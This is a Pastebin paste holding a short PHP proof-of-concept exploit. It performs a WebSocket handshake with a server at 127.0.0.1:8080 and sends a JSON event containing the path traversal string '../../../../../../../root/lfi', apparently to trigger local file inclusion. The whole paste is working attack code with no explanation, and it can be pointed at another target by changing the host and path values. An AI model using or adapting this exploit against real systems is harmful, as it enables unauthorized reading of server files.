Guest User

Untitled

a guest
Jul 23rd, 2026
15
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.46 KB | None | 0 0
  1. <?php
  2.  
  3. $host = '127.0.0.1';
  4. $port = 8080;
  5. $path = '/test123123';
  6.  
  7. $event = '../../../../../../../root/lfi';
  8.  
  9. function writeAll($socket, $data)
  10. {
  11. $offset = 0;
  12. $length = strlen($data);
  13.  
  14. while ($offset < $length) {
  15. $written = fwrite($socket, substr($data, $offset));
  16. if ($written === false || $written === 0) {
  17. throw new Exception('Socket write failed');
  18. }
  19. $offset += $written;
  20. }
  21. }
  22.  
  23. function websocketFrame($payload, $opcode = 1)
  24. {
  25. $length = strlen($payload);
  26. $mask = random_bytes(4);
  27. $masked = '';
  28.  
  29. for ($i = 0; $i < $length; $i++) {
  30. $masked .= chr(
  31. ord($payload[$i]) ^ ord($mask[$i % 4])
  32. );
  33. }
  34.  
  35. if ($length < 126) {
  36. $header = chr(0x80 | $opcode) . chr(0x80 | $length);
  37. } elseif ($length <= 65535) {
  38. $header = chr(0x80 | $opcode) . chr(0x80 | 126) . pack('n', $length);
  39. } else {
  40. throw new Exception('Payload too large for this POC');
  41. }
  42.  
  43. return $header . $mask . $masked;
  44. }
  45.  
  46. $socket = fsockopen($host, $port, $errno, $error, 5);
  47. if (!$socket) {
  48. die("Connection failed: $error\n");
  49. }
  50.  
  51. $key = base64_encode(random_bytes(16));
  52.  
  53. $request =
  54. "GET $path HTTP/1.1\r\n" .
  55. "Host: $host:$port\r\n" .
  56. "Upgrade: websocket\r\n" .
  57. "Connection: Upgrade\r\n" .
  58. "Sec-WebSocket-Version: 13\r\n" .
  59. "Sec-WebSocket-Key: $key\r\n\r\n";
  60.  
  61. writeAll($socket, $request);
  62.  
  63. $response = '';
  64. while (strpos($response, "\r\n\r\n") === false) {
  65. $chunk = fread($socket, 4096);
  66. if ($chunk === false || $chunk === '') {
  67. die("No complete handshake response received\n");
  68. }
  69. $response .= $chunk;
  70. }
  71.  
  72. if (!preg_match('/^HTTP\/\d\.\d\s+101\b/m', $response)) {
  73. die("WebSocket upgrade failed:\n$response\n");
  74. }
  75.  
  76. preg_match('/^Sec-WebSocket-Accept:\s*(.+)$/mi', $response, $match);
  77.  
  78. $expected = base64_encode(
  79. sha1($key . '258EAFA5-E914-47DA-95CA-5AB5DC587B41', true)
  80. );
  81.  
  82.  
  83. $received = trim($match[1] ?? '');
  84.  
  85. if ($received !== $expected) {
  86. die(
  87. "Invalid Sec-WebSocket-Accept value\n" .
  88. "Received: $received\n" .
  89. "Expected: $expected\n"
  90. );
  91. }
  92.  
  93. $payload = json_encode(array('event' => $event));
  94. writeAll($socket, websocketFrame($payload));
  95.  
  96. echo "Sent event: $event\n";
  97. fclose($socket);
Add Comment
Please, Sign In to add comment